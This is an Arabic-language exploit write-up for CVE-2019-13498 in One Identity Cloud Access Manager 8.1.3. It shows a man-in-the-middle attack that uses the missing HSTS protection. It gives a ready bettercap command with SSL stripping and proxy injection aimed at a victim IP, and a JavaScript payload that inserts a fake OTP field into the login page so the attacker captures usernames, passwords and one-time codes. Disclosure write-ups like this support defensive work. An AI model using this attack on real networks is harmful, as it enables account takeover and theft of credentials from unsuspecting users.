CVE-2019-13498
عنوان الاستغلال: MITM - غياب HSTS يسبب سرقة بيانات الاعتماد والتلاعب بالمحتوى
التاريخ: 07/10/2019
مؤلف الاستغلال: Furqan Khan
الصفحة الرئيسية للبائع: https://www.oneidentity.com/
رابط البرنامج: https://www.oneidentity.com/products/cloud-access-manager/
الإصدار: 8.1.3
تم الاختبار على: Kali Linux , Windows 7 ,Ubantu 16.04
لتنفيذ هجوم MITM وسرقة اسم المستخدم وكلمة المرور وOTP، نستخدم bettercap 1.6. من الناحية المثالية، يُملأ حقل OTP في الصفحة الثانية من التطبيق، بعد أن يوثّق المستخدم بنجاح باستخدام اسم مستخدم وكلمة مرور شرعيين. ومع ذلك، نستخدم SSL strip والتلاعب بالمحتوى لحقن حقل إدخال OTP في نفس الصفحة التي يُطلب فيها اسم المستخدم وكلمة المرور. قد يعتقد الضحية أن هذا التغيير قادم من التطبيق نفسه، وسيشارك اسم المستخدم وكلمة المرور وOTP ويُرسل النموذج. المهاجم الذي أعدّ bettercap والبروكسي سيحصل على بيانات الاعتماد وOTP، وسيستخدمها لتسجيل الدخول إلى التطبيق.
أمر bettercap المستخدم هو:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

هنا 192.168.1.103 هو عنوان IP الخاص بالضحية. إذا لم نعرفه، يمكننا استخدام bettercap لالتقاط والتلاعب بمحتوى الشبكة المحلية بالكامل (الشبكة المشتركة بين المهاجم والضحية)
محتوى inject_js.js موضح أدناه
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
الآن عندما يتصفح الضحية المنتج (Cloud access manager)، وبسبب تسميم الكاش وSSL strip (Bettercap)، سيتم حقن حقل إدخال OTP في الصفحة التي ستُعرض للضحية عبر مقتطف جافاسكربت المحقون

نظرًا لأن الاتصال يتم تخفيضه إلى http عبر ssl-strip، فستصبح كل حركة المرور مرئية للمهاجم. وبالتالي يمكننا اعتراض حركة المرور ورؤية اسم المستخدم وكلمة المرور وOTP التي قدمها الضحية.

وجدتها! كان ذلك سهلاً!